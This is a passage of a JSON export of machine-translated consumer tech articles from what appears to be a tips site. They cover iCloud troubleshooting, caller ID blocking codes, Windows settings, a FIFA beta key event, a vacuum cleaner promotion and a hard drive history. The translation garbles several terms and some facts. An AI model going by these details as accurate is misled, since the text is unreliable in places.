Name]\u0026gt; iCloud and turn on each service you want to sync.\n3. Third party applications do not save data to iCloud\nSome third-party apps support the ability to save data to iCloud, allowing them to sync across all your Apple devices. Usually, this data is saved automatically. But if your apps are not synced the way you expect, you may need to manually adjust them in settings.\n Specifically check iCloud sync settings on each of your Apple devices by doing the following:\n- Go to Settings\u0026gt; [Your name]\u0026gt; iCloud .\n- Scroll through the list of options and turn on the apps you want to sync via iCloud.\nIf your application is missing from the list, it is possible that the developer may not add this functionality to the application.\n4. The status of updating iCloud settings on a device does not have an end time\nThis continuous download screen usually appears after you sign in to iCloud on your device, most often during the initial setup process. Now wait at least five minutes before trying to fix it; iCloud sometimes works, but quite slowly.\n If you're still stuck on the iCloud settings screen after a while, try the following tips to fix:\nPress and hold the Power button, then slide to power off your device. Wait a minute or so before you press the button again to reboot. If it does not respond, perform a hot shutdown of the iPhone and force it to reboot. After rebooting your device, open Settings and log back into iCloud.\n5. iCloud account authentication error keeps appearing when you log in\nMost of the time you can't log into iCloud is because you entered the wrong username or password. But sometimes, authentication errors appear even when you use the correct login information. If you receive this message or the same authentication message fails, try these steps to fix:\n Visit the Apple ID website , using your Apple ID username and password to log in. If you can still log in, click \" Forgot Apple ID or password? \" To reset the login details.\n6. iCloud indicates that your Apple ID account is not supported\nThis situation occurs when you may have created an Apple ID account in \"non-standard\" situations, which could cause problems with iCloud. Normally, if the Apple ID works with other Apple services like the App Store or iTunes, then it should have no problem with iCloud.\n If your Apple ID does not work with any of Apple's services, contact Apple Support directly . They can give you personalized support to solve this iCloud problem.\n7. iCloud runs out of space\nNot surprisingly, iPhone backups take up most of your iCloud account storage. Therefore, if there is not enough free iCloud storage, the backup will be problematic and cannot perform automatic backup.\n Depending on the amount of data on your iPhone, backups can take anywhere from 1GB to 4GB of iCloud storage space. And since Apple only offers a free iCloud account of 5GB, it's possible that running out of space will be quite fast. Fortunately, you can manage this amount of storage so you can optimize the backup data you need by going to Settings\u0026gt; iCloud\u0026gt; Memory Management.\n8. Your device keeps appearing asking for an iCloud password\nThis is not a new problem and always appears annoying for users despite having entered the correct iCloud password.\n Here is how to fix it:\n- Restart your device.\n- Go to Settings\u0026gt; [Your name]\u0026gt; Sign out , then choose not to keep any data on your device. After logging out, return to Settings and Log back in.\n- Visit Apple's System Status website to check and ensure the iCloud service is still working.\n- Visit the Apple ID website and click \" Forgot Apple ID or password? \" To reset your login details, then log into iCloud on your device with a new password.\n- Finally, backup and restore your iPhone.\nncG1vNJzZmismaXArq3KnmWcp51ksLC5zKilZqiipK%2BtscysZLChpJ16qq%2FLqKydZZ%2Bjeqq8x6ilnmWRo7FutM6wZK2nXZu2uXnIrQ%3D%3D\n","link":"/post/common-problems-with-icloud-on-iphone-and-how-to-fix-it/","section":"post","tags":null,"title":"Common problems with iCloud on iPhone and how to fix it"},{"body":"This wikiHow teaches you how to prevent people you call from seeing your name and number. Keep in mind that, if you succeed in blocking your caller ID on the other person's line, they're unlikely to pick up; additionally, many...\nMethod 1of 2:\nUsing a Blocking Code  Understand how a blocking code works. If you just need to block your caller ID for one call, you can add a prefix to the number when dialing it to temporarily block your caller ID. You'll need to enter this prefix whenever you call the number to continue blocking your caller ID. This method may not work if the person whom you're calling has an app or service that unmasks blocked caller IDs.   Figure out your block code. If you have a GSM phone in the United States (e.g., most Androids), you'll usually use the code #31#, and other U.S. providers will usually work with the notorious *67 code. Other codes you can use include the following: *67 — United States (except AT\u0026amp;T), Canada (landline), New Zealand (Vodafone phones) #31# — United States (AT\u0026amp;T phones), Australia (mobile), Albania, Argentina (mobile), Bulgaria (mobile), Denmark, Canada (mobile), France, Germany (some mobile providers), Greece (mobile), India (only after network unlock), Israel (mobile), Italy (mobile), Netherlands (KPN phones), South Africa (mobile), Spain (mobile), Sweden, Switzerland (mobile) *31# — Argentina (landline), Germany, Switzerland (landline) 1831 — Australia (landline) 3651 — France (landline) *31* — Greece (landline), Iceland, Netherlands (most carriers), Romania, South Africa (Telkom phones) 133 — Hong Kong *43 — Israel (landline) *67# — Italy (landline) 184 — Japan 0197 — New Zealand (Telecom or Spark phones) 1167 — Rotary phones in North America *9# — Nepal (NTC prepaid/postpaid phones only) *32# — Pakistan (PTCL phones) *23 or *23# — South Korea 067 — Spain (landline) 141 — United Kingdom, Republic of Ireland   Open your phone's dialer app. Tap the Phone app icon to do so. You may also need to tap the dialpad tab to bring up the keypad. If you're on a landline or flip-phone, just pick up the phone.   Type in your code. Use the dialpad to enter the three- or four-character code you selected earlier. For example, if you're attempting to prevent your caller ID from appearing in the United States, you would type either *67 or #31# here.   Type in a 10-digit phone number. Without pressing the \"Call\" button, enter the entire phone number you want to call. Since you may need to try a few different codes, it's best to test using a friend's number instead of the number you actually want to call. Your whole number should be in the [code][number] format, which will look something like this: *67(123)456-7890   Press the \"Call\" button. Doing so will mask your caller ID on the other person's phone.\n Method 2of 2:\nUsing Google Voice  Understand what using Google Voice will do. Google Voice assigns a new, 10-digit phone number to you; this number is used whenever you use Google Voice to make a call. While using Google Voice won't prevent the person you're calling from seeing your Google Voice number, they won't be able to see your phone's actual number even if they have unmasking services or apps installed. Using Google Voice is a good way to get through to a person who screens blocked numbers without having to reveal your actual number.   Download Google Voice. This app is free for both iPhones and Androids. You can download it by doing the following: iPhone — Open the  App Store, tap Search, tap the search bar, type in google voice and tap Search, tap GET next to the Google Voice app, and enter your Touch ID or Apple ID password when prompted. Android — Open the  Play Store, tap the search bar, type in google voice, tap Google Voice in the drop-down results, tap INSTALL, and tap ACCEPT if prompted.   Open Google Voice. Tap OPEN in your phone's app store to do so. You can also tap the Google Voice app icon, which resembles a white phone on a dark-green background, to open it.   Tap GET STARTED. It's in the middle of the screen.\n  Select a Google Account. Tap the switch to the right of the account you want to use with Google Voice. If you don't have a Google Account signed into your smartphone, tap Add account, then enter your email address and password.   Tap ☰. It's in the top-left corner of the screen. A pop-out menu will appear. If prompted to choose a number for your Google Voice account, skip this step and the next two steps.   Tap Settings. This is in the middle of the pop-out menu.\n  Tap CHOOSE. You'll see this option under the \"Account\" heading near the top of the page. On Android, you'll tap Get a Google Voice number here.   Tap SEARCH. It's in the bottom-right corner of the screen.\n  Enter a city name. Tap the search box at the top of the screen, then type in the name of the city (or a ZIP code) from which you want to use a number.\n  Review the resulting numbers. In the list of available phone numbers, look for one you'd like to use.\n  Tap SELECT. It's to the right of the number you want to use.\n  Tap NEXT twice. This option is in the bottom-right corner of the screen.\n  Enter your phone number. Type in your phone's actual phone number.\n  Tap SEND CODE. It's in the bottom-right corner of the screen. Google Voice will send a six-digit code to your phone's Messages app.\n  Retrieve your Google Voice code. Do the following: Minimize the Google Voice app (don't fully close it). Open your smartphone's Messages app. Select the new message from Google. Review the six-digit code in the message. Re-open Google Voice.   Enter your code. Type in the six-digit code that you retrieved from the message.\n  Tap VERIFY. It's in the bottom-right corner of the screen.\n  Finish claiming your number. Tap CLAIM when prompted, then tap FINISH when prompted. This will take you to the Google Voice main page.\n  Make a call with Google Voice. When calling, Google Voice will give you another number to call; between this number and the one that Google Voice assigns to your account, the actual number you're calling won't be able to see your true number. To make a call, do the following: Tap the Calls tab. Tap the green-and-white dialpad icon in the bottom-right corner. Dial the number you want to call. Tap the green-and-white \"Call\" button at the bottom of the screen. Wait for a prompt with a different number to appear. Tap Call to place your call.   Isabella Humphrey Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqcpLCsecKao6WdomK2pQ%3D%3D\n","link":"/post/how-to-block-caller-id/","section":"post","tags":null,"title":"How to Block Caller ID"},{"body":"Sleep mode is available in current operating systems versions, from Windows 10 and lower versions. If Hibernate mode will put your computer to sleep mode, the Sleep mode will still give you the ability to work but at low power consumption. And on Windows 10, the default mode will automatically put the computer into Sleep state after a period of inactivity. Many people do not like this mode if you often have to run the computer to download data because the computer will pause download if the computer is in sleep mode. So in the following article TipsMake.com will guide you to turn off and turn off the Sleep in windows 10. Invite you to track!\nStep 1: Open Settings in windows 10 then select System\n  Step 2: Select Power \u0026amp; sleep , then in the right window in the Sleep section, you can choose the time that the computer will automatically go to sleep when inactive.\nExample : Here we choose 30 minutes, then after 30 minutes you do not use, the computer will automatically enter sleep mode.\n  Step 3: If you want to turn off the Sleep mode, select Never .\n  So, with just a few simple steps, we can turn on / off the Sleep mode on windows 10. After selecting it, the automatic settings will be saved, and now you try to see if the computer is still in sleeps mode when not in use. Used again. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYyapZ1llJ7Aoq7LnmStoJViwK2xxKlkpqeUmnqquoywoKecn6zAbn2P\n","link":"/post/how-to-enable-and-disable-the-sleep-mode-in-windows-10/","section":"post","tags":null,"title":"How to enable and disable the Sleep mode in Windows 10"},{"body":"Some users of UWP applications loaded on the Windows Store have an Internet connection error. Users will not be able to surf the web on Microsoft Edge, read mail on Microsoft Mail, or even fail to access Microsoft Store.\nAlthough the computer is still connected to the network as usual, there is no sign of the yellow exclamation network, other applications or software still connect to the Internet normally, but only the UWP application has a disconnection error. The following article will provide some ways to fix the above error.\nInstructions to reset Windows Store application on Windows 10 How to troubleshoot Refresh Loop in Microsoft Store on Windows 10 How to fix 0x80080005 to install UWP application on Microsoft Store How to fix disconnected UWP application Method 1: Check the IPv6 protocol\nDisabling the IPv6 protocol will result in Internet disconnection on the computer, or with UWP applications. We will check the IPv6 protocol on the computer that works.\nHow to check IPv6 connection Step 1:\nWe right-click on the network connection icon on the computer and select Open Network \u0026amp; Internet settings . Switch to the new interface and click Change adapter options on the right side of the interface.\n  Step 2:\nIn the Network Connections interface, right-click on the network you are using and select Properties .\n  Switch to the new interface and then in the Network tab go to Internet Protocol Version 6 (TCP / IPv6) to see if it is selected . If not, select it and click OK.\n  Method 2: Use Registry Editor\nIn case the user has performed the above method but the IPv6 protocol is still turned off, the software on the computer may interfere with the system registry.\nStep 1:\nPress the Windows + R key combination and then enter the regedit keyword to open the Registry Editor.\n  Step 2:\nIn the new interface, access the directory path HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpip6Parameters .\n  Then look to the right if you see DWORD name DisabledComponents , right-click and choose Delete to delete.\n  Method 3: Switch the connection network to public\nStep 1\nPress the Windows + I key combination to open the Windows Settings interface. Continue clicking on Network \u0026amp; Internet management group.\nIn the new interface, look at the list on the left and select Status . Looking to the right, click Change connection properties .\n  Step 2:\nSwitch to Network interface. Here you switch from Private mode to Public .\n  Method 4: Reinstall the network\nIn case you have already performed the above ways that UWP applications are still unable to connect, you can proceed to reset the network settings on the computer.\nStep 1:\nUsers access Settings\u0026gt; Network \u0026amp; Internet\u0026gt; Status and click Network reset .\n  Step 2:\nDisplay the new interface with the notification that the installation settings will be deleted, then restore the network components to the original default settings. Click Reset now to agree. The computer will also be restarted.\n  These are some ways to avoid connection failures when using UWP applications on Windows. Try each one in turn, and then the last way to reset the network settings on your computer. In case the computer is disconnected from the Internet, you can also try these options.\nSee more:\nInstructions for fixing errors without network connection on Chrome browser How to fix Network Protocols errors are Missing on Windows? Fix IP address conflict error on Windows computer Hope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq2w89mmKmonJ6wosDIqKVmnJmosLC6zZ6arZ2UYrOzu8xmq6GdXZ67tbHRp5yt\n","link":"/post/how-to-fix-uwp-application-disconnected-from-the-internet/","section":"post","tags":null,"title":"How to fix UWP application disconnected from the Internet"},{"body":"According to the official announcement, FIFA Online 4 will be launched in Vietnam sometime before June 2018, released before the 2018 World Cup Finals held in Russia begins. FIFA Online 4 will own the Engine platform used to produce FIFA 17, creating the most realistic graphics, attractive content and gameplay, creating a different attraction than the FIFA Online 3 version.\nAnd before the expectations of the gamers, the official homepage of FIFA Online 4 Vietnam also opened the event to give the key to participate in the test of Online Online Close Beta 4. Detailed information will be in the article below. .\nRegulations on changing accounts for gamers from FIFA Online 3 to FIFA Online 4 Shortcut to celebrate goals in FIFA Online 3 How to install the Rules Of Survival game on PC Download FIFA Online 4\nInstructions to receive the latest FIFA Online 4 key Step 1:\nFirst of all, please visit the link below to go to FIFA Online 4 Vietnam website to receive FIFA Online 4. key then click on Key FO4 CBT .\nhttps://fo4.garena.vn/   Step 2:\nAfter that, click on the Receive Key FO4 Closed Beta section to get the key from the program.\n  After that, users need to login to Garena account to join the program, or you can log in to Garena account right from the beginning.\n  When returning to the participating interface, you will receive a Key FO4, then click on the Receive Key FO4 Closed Beta entry. Users will see the message to receive the key as shown below.\n  Daily key FO4 delivery time is 10 am, 14 pm and 18 pm. If all the keys are played during this time frame, we will see the message that the current program is stopped and will continue playing the FO4 key in the next hour frame as shown below. Please wait until the next time frame and come back to receive the key.\n  Step 3:\nAfter receiving the FO4 key, we click on FIFA Online 4 activation .\n  Finally enter the key you received and press the Confirmation button below. Each account will have its own key and this key can only be used once.\nAfter receiving the key and activating, the player will receive 150 million EP into FO3 account. If you share this information on Facebook, the system will give you 50 million more EPs.\n  The user will receive a successful activation key as shown below.\n  The old way: Currently, this method has run out of key receiving program 1. Challenge 150 hours online to receive FIFA Online 4 key\nWe access the sukien.fo3.garena.vn site to join the program under the link below.\nhttps://sukien.fo3.garena.vn/thu-thach The first 5,000 people to complete the challenge for a continuous 150 online FIFA Online 3 online hours, from 0:00 on February 6, 2018, will receive each account a FIFA Online 4 Close Beta key.\n  2. Chemistry of C. Ronaldo\nhttps://sukien.fo3.garena.vn/hoa-vang The first 15,000 people successfully upgraded Ronaldo +10 on the sukien.fo3.garena.vn page, without beating the in-game card, will receive each account a FIFA Online Beta Close 4. Key When upgrading from +2 to +10, you will have a random chance at every successful card hit to receive a Close Beta key but only get it once.\nPlayers will need to play 3 matches at FIFA Onine 3 to give 1 card hit. After you receive it, you need to upgrade and return to the next game to proceed with the upgrade.\nWhen the card is successfully hit, you will receive the gift at that level and when it does not beat successfully, there is no need to restart from the beginning. Each player will only receive 1 key. So if you received from before +10, you will not receive more.\n  See more:\nHow to play the Rules Of Survival game on the computer The League of Legends gaming shortcuts Summary of GTA codes, commands in the game Street Pirates I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVmLKqwsRmnaKekWK8r7jIp5xmo5WuenV5wqWmrJ1dl7K1rYyvnKurmaS7\n","link":"/post/how-to-receive-fifa-online-key-4-close-beta-version/","section":"post","tags":null,"title":"How to receive FIFA Online key 4 Close Beta version"},{"body":"Below, Tipsmake will guide you to show the file extension on Windows versions.\n1. Display the file extension on Windows 10 To hide, show the file extension on Windows 10, follow the steps below:\nOpen File Explorer, then click the View tab in the Ribbon, check the File name extensions option.\n  \nIn addition, if you want to see hidden files and folders, check Hidden items.\n- Different ways: Open Control Panel by right-clicking the Start button in the bottom left corner, and selecting Control Panel.\n  \nOn the Control Panel window select Appearance and Personalization.\n  \nNext, under File Explorer Options , click Show hidden files and folders.\n  \nOn the File Explorer Options window, select Show hidden files, folders and drives and uncheck the option Hide extensions for known file types =\u0026gt; Apply =\u0026gt; OK .\n  Now you can see the file extension on your Windows 10 computer.\n2. View file extension on Windows 7 / Vista Step 1. Open Windows Explorer, then click Organize in the top left corner, and select the Folder and Search option.\nStep 2. On the next window, click the View tab , then scroll down to find and uncheck the option of Hide file extensions for known file types.\n  \n3. View file extension on Windows 8 Open File explorer by pressing Windows + E, then click the View tab . Next, tick the option File name extensions to display file extensions or uncheck the option to hide file extensions.\n  view the file extension ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYpMRuwMeeZJ%2BhnJp6psTTnqWsoZ%2BjerSxxGaroZ1dm7atsYyer62dnqi2sLqMqKVmr5mjsbDD0mZoaW9o\n","link":"/post/how-to-show-the-file-extension-see-the-file-extension-on-windows-10-7-8/","section":"post","tags":null,"title":"How to show the file extension, see the file extension on Windows 10/7/8"},{"body":"Skype is now one of the popular chat, texting and video calling software, many people choose to use it especially with the office block because of their professionalism. Besides, for those who use Skype on smartphones, they will experience the completely new interface of Skype Preview, introduced by the Network Administrator in the article. Experience some features on Skype Preview new version.\nAnd when using Skype, unfriending is a basic and necessary operation for many people. If you're new to Skype and don't know how to unfriend, follow the article below.\nStep 1: First of all, we log into Skype account on the computer. At the main interface of the friends list on the left of the interface, you find the account you want to unfriend.\nNext right click and the name wants to unfriend you and select Removed from Contacts .\n  Or in case you are in the chat window interface with the account you want to delete, we can also right-click on the account display name and then click on Removed from Contacts.\n  Step 2: Immediately after the appearance of the dialog box confirming whether you want to delete this account or not, click Yes to confirm the deletion.\n  In addition, if you do not want to delete that account from the list, but do not want to receive the message, do not want to be disturbed, you can click Block this person. So they will not be able to contact you. And when you want to message again, just leave them off the block list.\nHope the above article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2em7%2Bqsc2dZJ%2BqmZq7pb%2BMqKVmq5uuvaZ5wqGYrWWjpLO1w8CrnA%3D%3D\n","link":"/post/how-to-unfriend-friends-on-skype-chat-software/","section":"post","tags":null,"title":"How to unfriend friends on Skype chat software"},{"body":"In this article, TipsMake.com will introduce you to PowerCyclone technology and a series of other utility features on the Philips vacuum cleaner so you can assess whether to use this device in cleaning your home well. No!\nVacuum cleaners are products that are becoming more and more familiar to consumers thanks to the ability to release labor for humans without the need to use a broom to clean up dirt in the home. In addition, compared to other types of automatic vacuum cleaners, vacuum cleaners also have many advantages in price and capacity. In particular, current vacuum cleaner models are also increasingly improved in technology to bring more optimal cleaning efficiency. Find out about PowerCyclone as well as a host of other advanced technologies equipped on a Philips vacuum cleaner to see if this is really a worthwhile cleaning device!\nQuick review of content PowerCyclone technology TriActive, MultiClean nozzle, TriAcive Turbo Other utilities not to be missed Buy any Philips vacuum cleaner? What do I notice when using a Philips household vacuum cleaner? PowerCyclone technology PowerCyclone technology on Philips vacuum cleaners operates in the following 3 steps:\nStep 1 : The air passes through the straight and smooth intakes. Step 2 : Air is pushed into the cyclone compartment through a curved air path. Here, dust will be separated from the air by centrifugal rotation force. Step 3 : Dust is removed from the cyclone compartment and into the dust container by the operation of the blades at the exit.   PowerCyclone technology on a Philips vacuum cleaner.\nWith an aerodynamic design that goes through the above 3 steps to quickly accelerate the air in the cyclone chamber, it separates dust from the air within 1 suction, PowerCyclone technology reduces air resistance, strong suction power. and guaranteed high performance, providing maximum airflow to provide the best cleaning effect and enhance product durability.\nPhilips has also continuously improved PowerCyclone technology and has given users vacuum cleaners with PowerCyclone 3, 4, 5, 6, 7, and 8 technology.\nTriActive, MultiClean nozzle, TriAcive Turbo Philips vacuum cleaners are currently equipped with one of the three standard suction heads, TriActive , MultiClean or TriAcive Turbo, with the following characteristics:\nTriActive tips apply at the same time 3 operations to clean the floor, furniture and walls: use a suction head on the soleplate to clean deep dust on the floor, large intakes to clean large dust on the floor, the left end and must to clean dirt along walls and furniture. Optimal cleaning of MultiClean nozzle , good absorption of fine dust on all types of floors thanks to special design for low and near ground positions. The TriActive Turbo nozzle is equipped with an engine-mounted brush and an optimized airflow that removes all dirt in just 1 time, works well on carpet surfaces and hard floors, effectively cleans the fur on. fabrics, mattresses, benches. In addition to the standard suction head, Philips vacuum cleaners can also be equipped with small suction heads, brushes, crevice cleaning tools, microfiber cushions for cleaning furniture, mattress covers .\n  TriActive Turbo suction nozzle on Philips vacuum cleaner effectively cleans fur.\nOther utilities not to be missed In addition to advanced and intelligent vacuuming and suction technology, Philips vacuum cleaner is also integrated with other convenient features such as:\nAir filters : Types of EPA 10 filters, 3-layer filters . can retain from over 90 to 99.9% of small dust, pollen, fur . to prevent the allergens, help clean air, clean, hygienic and good for health. Floor cleaning mode : Philips has launched a vacuum cleaner equipped with a floor cleaning system to both vacuum and clean the floor in just one more convenient move. Design : Philips vacuum cleaners have a compact design, easy to move to every corner of the house, vacuum cleaners with a wide radius of up to 10 meters, vacuum cleaners of the form Wireless rolling handle uses a powerful, convenient Li-ion rechargeable battery. Most of the Philips vacuum cleaners now use dust containers instead of dust bags, so they have better dust collection capacity, do not worry about emptying bags when vacuuming.   Convenient dustbox on Philips vacuum cleaner.\nBuy any Philips vacuum cleaner? With the advantages of technology and design as above, Philips vacuum cleaner from the Netherlands is always one of the top cleaning assistants to be used and used. Some good Philips vacuum cleaner models for your reference:\nPhilips FC8670 non-pocket vacuum cleaner (2000W) : equipped with PowerCyclone 4 technology; EPA filter 10; 1.7 liter dust container capacity; MultiClean nozzle; 2,000W motor and maximum suction power of 370W; air flow of 37 liters / second; 9-meter active radius provides a powerful, quick, easy dust removal effect. It has luxurious black color, compact design, easy to move. Currently the machine is priced at 3,619,000 VND (including VAT), 24 months warranty at META.vn.   Philips FC8670 non-pocket vacuum cleaner (2000W) has a luxurious design.\nVacuum cleaner, wipe the house using Philips battery FC6404 / 01 : equipped with PowerCyclone 4 technology; 3-layer filter; dust container capacity of 0.6 liters; TriActive Turbo suction head, comes with an effective fur cleaning brush; Li-ion battery 18V; Wipe the floor with floor cleaner to provide convenient vacuuming and floor cleaning, saving time. The device has a compact wireless design, easy to move, no worries of being messy. Currently the machine is priced at 6,250,000 VND (including VAT), 24 months warranty at META.vn.   Vacuum cleaner, Philips wiper cleaner FC6404 / 01 with convenient wireless.\nWhat do I notice when using a Philips household vacuum cleaner? To use the Philips vacuum cleaner properly, efficiently and safely, you should keep in mind the following points:\nUse the right voltage source, pay attention to ensure electrical safety by unplugging the plug when not in use or when maintaining and cleaning equipment. For domestic use only, do not use construction waste such as cement dust, fine sand, lime . or suck water, liquid waste, flammable substances, hot ash. Clean and maintain the machine periodically according to the manufacturer's manual. Store the device in a dry place, avoid moisture, rain, sunlight. Hopefully, the above information has helped you to understand more about PowerCyclone vacuum cleaner technology and other utilities on Philips vacuum cleaner.\nIf you need to buy Philips vacuum cleaner or other genuine vacuum cleaner with the cheapest price, you can order online at META.vn website or contact Hanoi hotline number 024.35.68.69. 69 - TP. HCM 028.38.33.33.66 for advice and support for the fastest purchase.\nMore reference :\nTop 5 smart vacuum cleaners to clean the house at the best price Introducing special technology of Sharp portable mini washing machine Review 3 best industrial vacuum cleaners today: Tiross, Karcher and HiClean How does the AI ​​technology apply in the Robot Mamibot W120 glass? ncG1vNJzZmismaXArq3KnmWcp51kuaat0adkqaenmr%2BkxcKlpqedXamypLTNqKOon6livK95wGanoaGcnr20edWamq6tnWKwrbHAp5yr\n","link":"/post/learn-powercyclone-technology-on-a-philips-vacuum-cleaner/","section":"post","tags":null,"title":"Learn PowerCyclone Technology on a Philips vacuum cleaner"},{"body":"The ThinkPad X131e is 11.6 inches in size with the choice of an AMD E-series processor or an Intel Celeron or Core i3.\n  The ThinkPad X131e costs about 10.3 million VND. (Photo: Engadget).\nLenovo has officially announced the price of the previously revealed ThinkPad X131e netbook. As expected, this model will be sold for $ 499 (equivalent to 10.3 million).\nThe information \"leaked\" about the previous netbook model shows that it has an 11.6-inch screen resolution of 1,366 x 768 pixels. Users can choose to use one of the AMD E-series chips or Intel Celeron or Core i3. If you use an AMD chip, you will have the Radeon HD 7310 or 7340 graphics included, while Core i3 processor users will only have Intel HD 3000 Graphics integrated graphics. Manufacturer said, this model has durability beyond the standards of the US military.\nAccording to Notebookcheck, the ThinkPad X131e has 8GB of RAM. Customers can choose 320GB, 500GB hard drives or upgrade to 128GB SSD. The Lenovo ThinkPad X131e weighs 1.77kg and has a 6-cell battery that works for 8.5 consecutive hours. This product supports Dolby Advanced Audio technology and a host of connectivity such as USB 3.0, HDMI v1.4, USB 2.0, Ethernet, VGA and four-in-one memory card reader.\nncG1vNJzZmismaXArq3KnmWcp51kuaa6zq%2BmZquVobm0edOhoKejoJaxbq%2FOpqeurJWnwG6yzqtkrKylmbKvwNI%3D\n","link":"/post/lenovo-sells-thinkpad-computers-for-students/","section":"post","tags":null,"title":"Lenovo sells ThinkPad computers for students"},{"body":"The hard drive was first founded in 1956 by the IBM corporation. From a capacity of 5 megabytes, the hard drive has now reached 60 TB, up 12 million times. The hard drive was born that opened a new page in the history of technology development at that time.\nThe hard drive had a very small capacity, 5 megabytes but was about the same size as a piano and weighed up to 1 ton. After 60 years of development, the capacity and size have changed a lot, especially the appearance of ultra-large portable hard drives.\nThe following 18 photos will bring you back to history to learn about the development of computer hard drives over the past 60 years.\n  1956 - IBM Computer Group introduced the world's first 5MB hard drive named RAMAC 305. At that time, every 1 MB would cost about $ 10,000, equivalent to $ 88,000 today.\n  1963 - The first \"portable hard drive\" named 1311 was introduced to the world by IBM with 2.6MB of memory.It has a style quite similar to a tape recorder.\n  1973 - IBM introduced a hard drive named 3340, quite funny shape, with a capacity of 70 MB.A special feature of this hard drive is that it is possible to join multiple drives together to form a hard drive of up to 280 MB capacity.\n  1979 - The hard drive named 3370 was released by IBM, its size corresponds to a photocopier and the capacity has now increased to 571 MB.This hard drive uses a 14-inch \"disk\" to store data.\n  1980 - IBM introduced a 1GB hard drive.It is about the size of a refrigerator, weighing 550 pounds and costing $ 40,000.\n  1980 - Seagate, a direct competitor to IBM, launched a 5.25-inch hard drive and can store up to 5 MB.\n  1983 - The new standard with desktop hard drives is set up by the introduction of a 3.5-inch hard drive with RO352 code manufactured by Rodime.The hard drive has a storage capacity of 10 MB and costs US $ 1,895, equivalent to US $ 4,500 today.\n  1988 - Prairie introduces a 220 prototype with a storage capacity of 20 MB, a standard 2.5-inch hard drive starts to be applied to laptops.\n  1992 - A new record of hard drive size and capacity set by Hewlett-Packard (HP).New hard drive codenamed C3013A Kitty Hawk is only 1.3 inches in size and up to 2.1 GB.\n  1998 - IBM's Microdrive division launched a new hard drive with a size of just 1 inch, but its capacity is up to 340MB.\n  2004 - The race to reduce the size and increase the capacity of the hard drive is increasingly \"tough\" with the involvement of Toshiba, which has released a hard drive of only 0.85 inches in size and has a capacity of 2. GB.\n  2006 - Seagate launched the Barracuda 7200.10, setting a new record when this hard drive reaches up to 750 GB, making the commercial hard drive market \"hot\" than ever.\n  2007 - Hitachi also started playing the game when it introduced the hard drive called the Deskstar 7K1000 code with the first 1TB capacity.At this point, the hard drive storage capacity has increased by 200,000 times compared to IBM's first hard drive.\n  2011 - This is a period of fierce competition among storage hardware manufacturing corporations.Right now, Seagate has released a Barracuda XT codenamed hard drive, with a capacity of 4TB.\n  2013 - A hard drive with capacity up to 6 TB is introduced to the world by HGST.Designed with inner helium gas to help lower the drag coefficient, making the hard drive read speed faster but the price is quite high.\n  2014 - Seagate also launched a 6TB hard drive but does not use Helium gas like HGST, making it cheaper but consuming more electricity and heat.\n  2015 - HGST has made a breakthrough breakthrough, surpassing all others when successfully producing the first 10TB hard drive with the Ultrastar Archive Ha10 SMR code.\n  2016 - Seagate makes all other competitors and consumers stunned when suddenly launching SSDs with a huge capacity of 60 TB for $ 400,000.Compared to the first IBM hard drive, this hard drive has storage capacity of 12 million times and is cheaper.\nncG1vNJzZmismaXArq3KnmWcp51kubC7yqKloGWSlrCsec6nZG9oXa6yor7SZqafZZ2ev6Kv1KWmrqtdmbK3scuop6adnql6sLKMoZirnF2Zv6rCxKxkraeUlsY%3D\n","link":"/post/looking-back-on-60-years-of-miraculous-development-of-hard-drives-today/","section":"post","tags":null,"title":"Looking back on 60 years of miraculous development of hard drives today"},{"body":"10. Whole fish   Poinsettia fish possesses bright and vividly colored fins that resemble the clothes of modern poinsettia. They are known as the most beautiful fish in the world. The poinsettia fish is about 6cm long, living next to coral reefs in the western Pacific, near the Philippines, Australia and Taiwan.\n9. Fennec Fox   Fennec fox or African big-eared fox lives in North Africa and the Sahara desert. This fox has large ears, can grow to 15 cm in length with a sharp hearing that allows them to hear prey moving underground.\n8. Black-backed lemongrass birds   With a black-backed lemon or a red lemon, they live next to small rivers and streams in the forest. They often dig meter-long tunnels next to river banks. This bird is about 13cm long and feeds mainly on small lizards, frogs, crabs .\n7. Red Monkey Colobus Zanibar   Colobus Zanibar red monkey currently only about 3,000 individuals in the wild, this is one of the endangered species. This monkey has an unusual scent, so it is also known as 'poison monkey'. The red monkeys Colobus Zanibar live in the coastal shrubland on the island of Zanzibar off the coast of Tanzania, and feed on leaves, seeds and flowers in the forest.\n6. Black-eared lynx   Black-eared lynx, inhabiting mainly dry and semi-desert savannas throughout Africa, the Middle East, Pakistan and India. Black-eared lynx is about 1m in size, has long and flexible ears that help them hear the tiniest sounds.\n5. Crab candy   Candy crabs belong to a genus of single species, inhabiting weak coral reefs in the Indian and Pacific oceans. This crab species is very small, measuring only about 2cm. Their bodies can change from red to pink, yellow, and white to easily evade enemies.\n4. Eupetomena macroura hummingbird   This is a species of hummingbird family, living in eastern and central South America. The Eupetomena macroura hummingbird has showy green, blue and purple feathers with a long cut tail that looks very nice.\n3. The poison frog darts   The poison dart frog has sizes from 1.5cm to 6cm, living in the tropical rain forests of Central and South America. This is the most brilliant frog in the world.\n2. Tigers   Tiger is the largest species in the family of Meo, with a body length of up to 3.3m, weight over 300kg. Currently, there are 6 species of tigers living in natural environment and captive. Of which the Siberian tiger is the largest and the Bengal tiger is the most popular.\n1. Sunset moth Madagasca   This is a butterfly with vibrant colors and is extremely unique. Their wingspan is up to 11cm long and has balanced colors due to optical phenomena and light scattering.\nTop 10 tigers ncG1vNJzZmismaXArq3KnmWcp51kfnF5zKiqrWWSmq62wMifrKVlkaO2rq3LrGSipl2ptaZ51qippZw%3D\n","link":"/post/top-10-most-beautiful-animals-in-the-world/","section":"post","tags":null,"title":"Top 10 most beautiful animals in the world"},{"body":"Microsoft Office To-Go Device Manager is a utility integrated by Microsoft in the Microsoft Office 2010 Starter Beta installer, allowing users to put the Word 2010 Starter Beta and Excel 2010 Starter Beta on a USB drive for use.\n\u0026gt;\u0026gt;\u0026gt; Download Microsoft Office 2010 Starter Beta here \n \u0026gt;\u0026gt;\u0026gt; 10 highlights of Office 2010 \n \u0026gt;\u0026gt;\u0026gt; Microsoft announces free version of Office 2010 \n 